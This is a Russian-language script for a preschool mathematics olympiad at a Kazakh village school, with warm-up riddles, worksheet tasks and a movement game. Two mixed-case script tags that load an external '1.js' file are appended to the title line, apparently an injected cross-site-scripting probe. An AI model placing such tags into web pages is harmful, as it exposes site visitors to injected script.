Мектепалды сыныптағы математикадан пәндік олимпиада.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
15.11.2022
КГУ «Основная средняя школа села Новодонецкое отдела образования по Буландынскому району управления образования Акмолинской области»
Сценарий предметной олимпиады по математике «Юный математик»
для воспитанников класса предшкольной подготовки (6-7 лет)
Воспитатель: Нагорная С.С.
2022-2023 уч.год
«В каждом человеке заключается целый ряд способностей и наклонностей, которые стоит лишь пробудить и развить, чтобы они, при желании к делу, произвели самые превосходные результаты. Лишь тогда человек становится настоящим человеком»
А. Бебель
Олимпиада – это форма интеллектуального соревнования старших дошкольников, позволяющая выявить не только определенные знания детей, но и умение применять их в новых нестандартных ситуациях, требующих творческого мышления.
Цели:
- повышение рейтинга дошкольного образования в плане подготовки детей к обучению в школе;
- создание условий для выявления и содействия развитию познавательных способностей дошкольников, их любознательности и активности.
Задачи:
- формировать познавательные интересы и действия, предпосылки учебной деятельности детей дошкольного возраста;
- развивать в детях самостоятельность, ответственность, инициативность, желание обучаться, уверенность в своих силах, умение сотрудничать, доброжелательность;
- создавать условия для применения детьми собственных знаний и умений;
- выявлять и поддерживать детей, обладающих высоким уровнем познавательных способностей.
Представленные задания позволяют установить:
- владение основными компонентами деятельности (восприятием цели, планированием деятельности, выбором средств для ее достижения, выполнением деятельности в соответствии с поставленной целью, самоконтролем и в случае необходимости коррекцией сделанного); уровень ее произвольности;
- интеллектуальную готовность: элементарное владение мыслительными механизмами (анализом, синтезом, сравнением, обобщением); способность к использованию знаний и умений в новых условиях; умение переключаться с одного найденного решения на поиск другого;
- фонетический слух, перекодирование, графические навыки, владение предчисловыми представлениями («мало», «много», «столько же», «больше на...», «меньше на...»), представление о счете, упорядочивании, геометрических фигурах.
Задания составлены таким образом, что показывают умение детей понимать и выполнять учебную задачу, контролировать и корректировать собственные действия по ходу выполнения задания.
Ход занятия:
Ведущий: Добрый день, уважаемые ребята, сегодня мы открываем математическую олимпиаду для дошкольников. Олимпиада – это соревнование не только самых спортивных, но и самых умных!
Математика – царица наук!
Претерпели мы с тобой много мук!
Нам задачи задают – вот беда,
Но решать мы их стараемся всегда!
И чтоб стать нам хоть немножечко умней,
Мы с царицей этой дружим с первых дней!
Сегодня вам придется пройти несколько интересных испытаний, чтобы показать свою смекалку и знания. Желаю вам пройти все испытания с радостью и улыбкой! А перед тем, как приступить, предлагаю вам небольшую разминку. Ответьте мне на вопросы:
- Из какой посуды нельзя ничего съесть? (Из пустой)
- Сколько орехов в пустом стакане? (Нисколько)
- На березе растет 3 груши, а на дубе растет 4 яблока. Сколько всего фруктов растет на двух деревьях вместе? (Нисколько)
- У бабушки Даши внучка Маша, кот Пушок, собака Дружок. Сколько у бабушки внуков? (1 внучка)
- Сколько ушей у трех мышей? (6 ушей)
Молодцы. Присаживайтесь за столы. Сейчас я расскажу, что вам нужно делать. На столах лежат листы, на которых напечатаны задания. Я буду проговаривать задания, а вы будете их выполнять. Вы внимательно меня слушаете и только после того, как я скажу, что именно нужно делать, вы приступаете к работе. Просьба, друг другу не мешать, и не подсказывать. Выполнять работу самостоятельно. Все задания вам знакомы, мы их выполняли с вами на занятиях по математике. Если, кто-то не понял задание, надо поднять руку, и я подойду, помогу. Если кто-то быстро сделал задание, то надо молча положить карандаш на стол и сложить руки. Если вы не успеваете выполнить задание, а мы уже переходим к следующему, то ничего страшного в этом нет.
(Задания)
- Раскрась в каждом ряду столько предметов, сколько указано цифрой.
- Найди ошибки. Дорисуй нужное количество точек.
- Дорисуй морковок столько, чтобы всем зайчикам досталось по одной.
- Реши задачу: у Сони было 6 конфет, 2 конфеты она отдала Даниле, сколько у Сони конфет осталось? Запиши решение в клеточках.
- Дорисуй картинку.
В правом верхнем углу нарисуй квадрат
В левом нижнем углу нарисуй овал
В правом нижнем углу нарисуй треугольник
В левом верхнем углу нарисуй прямоугольник
В центре нарисуй круг
(После пятого задания – перерыв, физминутка)
Ведущий: Ребята, давайте немного отдохнем. Встаньте около своих мест. Готовы?
Вы друг другу помогайте,
На вопросы отвечайте
Только «Да» и только «Нет»
Дружно дайте мне ответ:
Если «нет» вы говорите,
То ногами постучите,
Если говорите «Да»,
В ладоши хлопайте тогда.
В школу ходит старый дед.
Это правда, дети?.. (Нет – дети стучат ногами).
Внука водит он туда?
Отвечайте дружно... (Да – хлопают в ладоши).
Лед - замерзшая вода?
Отвечаем дружно… (Да – хлопают в ладоши).
После пятницы - среда?
Дружно мы ответим... (Нет – дети стучат ногами).
Ель зеленая всегда?
Отвечаем, дети... (Да – хлопают в ладоши).
В конце спросить пришла пора:
Вам понравилась игра (Да – хлопают в ладоши).
Молодцы, теперь присаживаемся на свои места и продолжаем нашу работу дальше.
(Оставшиеся задания)
- Сосчитай, сколько точек на спине у каждой божьей коровки. Напиши соответствующую цифру в круге рядом с божьей коровкой.
- Реши примеры. Запиши ответ.
- Вставь пропущенные цифры.
- Рассмотри снежинки. Нарисуй недостающие так, чтобы в каждом ряду были представлены все виды снежинок.
- Подчеркни число, которое больше 3 и меньше 5.
1 2 3 4 5 6
- Какая тень соответствует каждому персонажу. Соедини линиями.
Ведущий: Какие вы молодцы. На этом наша Олимпиада подошла к концу, спасибо всем!
